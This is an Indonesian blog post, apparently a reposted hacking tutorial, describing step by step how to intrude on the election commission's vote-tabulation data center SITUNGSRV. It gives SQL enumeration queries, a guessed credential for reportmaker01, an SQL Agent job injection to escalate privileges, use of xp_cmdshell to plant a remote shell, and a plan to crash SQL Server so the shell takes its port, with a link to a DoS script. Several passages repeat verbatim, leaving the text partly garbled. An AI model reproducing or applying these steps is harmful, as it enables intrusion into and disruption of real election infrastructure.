Server data center TNP KPU yang bernama SITUNGSRV dilindungi dengan sangat ketat oleh firewall, diawasi olehcatatan log, dan dimonitor oleh detektor penyusup (IDS).Lantas bagaimana cara menyusupnya?
Di sini saya akan mengemukakan salah satu cara untuk menyusup ke data center TNP KPU. Sebelumnya saya akan sedikit menjelaskan mengenai web server,SQL server, dan data center TNP KPU. Pada saat kita membuka situsweb http://tnp.kpu.go.id/Tabulasi/ maka kita akanterkoneksi ke server bernama KPUDCRPT02 yang menjadi IIS web servernya. Kemudian KPUDCRPT02 mengambil data dari KPUDCSQL02 yang menjadi SQL servernya. Database di KPUDCSQL02 ini diupdate secara rutin dari data center SITUNGSRV. Dengan menggunakan perintah SQL (pada tools yang telah diberikan sebelumnya) kita sudah dapat mengakses database di SITUNGSRV. Misalnya: Untuk melihat list table: SELECT [name] FROM situngsrv.situng.dbo.sysobjects WHERE [type]='U' or [type]='S'
Untuk melihat list user:
Untuk melihat list user:
SELECT [name], [hasdbaccess], [islogin], [isntname],
[isntgroup], [isntuser], [issqluser], issqlrole FROM
situngsrv.situng.dbo.sysusers
Namun cara ini sangat terbatas, karena kita masuk dengan menggunakan login guest. Kita perlu login lain yang lebih powerfull. Di sini kita dapat memanfaatkan kelemahan password reportmaker01 yang dengan mudah bisa kita tebak. Misalnya kita telah menemukan password reportmaker01 sebagai reportmaker. Kita dapat mencobanya memasukkan perintah berikut:
SELECT uid FROM
OPENROWSET('SQLOLEDB','SITUNGSRV';'reportmaker01';'reportmaker','SELECT
user_name() as uid')
Sekarang kita perlu menaikkan privilege-nya menjadi admin dengan memberikan SQL Injection yang memanfaatkan SQL Agent sebagai eksekutornya. Penggunaannya adalah sebagai berikut: SELECT uid FROMOPENROWSET('SQLOLEDB','SITUNGSRV';'reportmaker01';'reportmaker','SELECT user_name() as uid'; Sisipan SQL Injection)
Sisipan SQL Injection yang kita berikan dapat berupa:
USE msdb; EXEC sp_add_job
@job_name='HealthCU',@enabled=1,@description='Weekly maintenance',@delete_level=1)USE msdb; EXEC sp_add_jobstep
@job_name='HealthCU',@step_name='Tahap01',@subsystem='TSQL',@command='execmaster..xp_execresultset N''select ''''EXECsp_addrolemember
''''''''db_accessadmin'''''''',''''''''reportmaker01'''''''''''''',N''situng''';)USE msdb; EXEC sp_add_jobserver
@job_name='HealthCU',@server_name='SITUNGSRV')
USE msdb; EXEC sp_start_job @job_name='HealthCU')
Maka login reportmaker01 sudah memiliki privilege db_accessadmin. Cara yang sama dapat juga digunakan untuk menaikkan priviledge menjadi sysadmin sehingga kita dapat mengeksekusi xp_cmdshell.Dengan xp_cmdshell kita bisa membuat sebuah file executable sebagai remote-shell yang dapat membuat SITUNGSRV berkomunikasi dengan KPUDCSQL02.
[isntgroup], [isntuser], [issqluser], issqlrole FROM
situngsrv.situng.dbo.sysusers
Namun cara ini sangat terbatas, karena kita masuk dengan menggunakan login guest. Kita perlu login lain yang lebih powerfull. Di sini kita dapat memanfaatkan kelemahan password reportmaker01 yang dengan mudah bisa kita tebak. Misalnya kita telah menemukan password reportmaker01 sebagai reportmaker. Kita dapat mencobanya memasukkan perintah berikut:
SELECT uid FROM
OPENROWSET('SQLOLEDB','SITUNGSRV';'reportmaker01';'reportmaker','SELECT
user_name() as uid')
Sekarang kita perlu menaikkan privilege-nya menjadi admin dengan memberikan SQL Injection yang memanfaatkan SQL Agent sebagai eksekutornya. Penggunaannya adalah sebagai berikut: SELECT uid FROMOPENROWSET('SQLOLEDB','SITUNGSRV';'reportmaker01';'reportmaker','SELECT user_name() as uid'; Sisipan SQL Injection)
Sisipan SQL Injection yang kita berikan dapat berupa:
USE msdb; EXEC sp_add_job
@job_name='HealthCU',@enabled=1,@description='Weekly maintenance',@delete_level=1)USE msdb; EXEC sp_add_jobstep
@job_name='HealthCU',@step_name='Tahap01',@subsystem='TSQL',@command='execmaster..xp_execresultset N''select ''''EXECsp_addrolemember
''''''''db_accessadmin'''''''',''''''''reportmaker01'''''''''''''',N''situng''';)USE msdb; EXEC sp_add_jobserver
@job_name='HealthCU',@server_name='SITUNGSRV')
USE msdb; EXEC sp_start_job @job_name='HealthCU')
Maka login reportmaker01 sudah memiliki privilege db_accessadmin. Cara yang sama dapat juga digunakan untuk menaikkan priviledge menjadi sysadmin sehingga kita dapat mengeksekusi xp_cmdshell.Dengan xp_cmdshell kita bisa membuat sebuah file executable sebagai remote-shell yang dapat membuat SITUNGSRV berkomunikasi dengan KPUDCSQL02.
Bagaimana cara berkomunikasinya? Bukankah semua port sudah ditutup oleh firewall?
Port 1143 tidak diblok. Namun port ini sudah digunakan oleh SQL Server dan kita tidak dapat menggunakannya lagi. Kita perlu membuat SQL server di SITUNGSRV untuk mati sejenak sehingga kita bisa menggunakan portnya. Caranya adalah dengan mengeset automatically start menjadi manually start, dan
membuat SQL servernya crash.
Port 1143 tidak diblok. Namun port ini sudah digunakan oleh SQL Server dan kita tidak dapat menggunakannya lagi. Kita perlu membuat SQL server di SITUNGSRV untuk mati sejenak sehingga kita bisa menggunakan portnya. Caranya adalah dengan mengeset automatically start menjadi manually start, dan
membuat SQL servernya crash.
Cara untuk membuat SQL server menjadi manually start dan crash silakan lihat script pada
http://tnpkpu.europe.webmatrixhosting.net/tnpdos.htm
Pada saat server ini crash, maka operator akan menelpon administrator. Kemudian administrator akan menginstruksikan operator untuk me-restart server. Namun SQL server tidak akan otomatis jalan, tetapi remote-shell kita yang akan tereksekusi.
Selama menunggu administrator datang ke lokasi untuk men-start SQL server, kita dapat menikmati akses remote-shell pada SITUNGSRV, data center TNP KPU.Saat ini seluruh server yang terkoneksi ke jaringan sudah dimatikan termasuk SITUNGSRV, KPUDCSQLxx, KPUDCRPTxx dan digantikan oleh server bernama TNP. Dimohon untuk tidak mengklik button Kirim DoS pada http://tnpkpu.europe.webmatrixhosting.net/tnpdos.htm karena
akan membuat SQL server di server TNP crash dan manually start sehingga artikel yang sebelumnya menjadi tidak dapat dicobakan.
Berikan Pendapat Anda Untuk Artikel Ini
akan membuat SQL server di server TNP crash dan manually start sehingga artikel yang sebelumnya menjadi tidak dapat dicobakan.
Berikan Pendapat Anda Untuk Artikel Ini
0 komentar:
Posting Komentar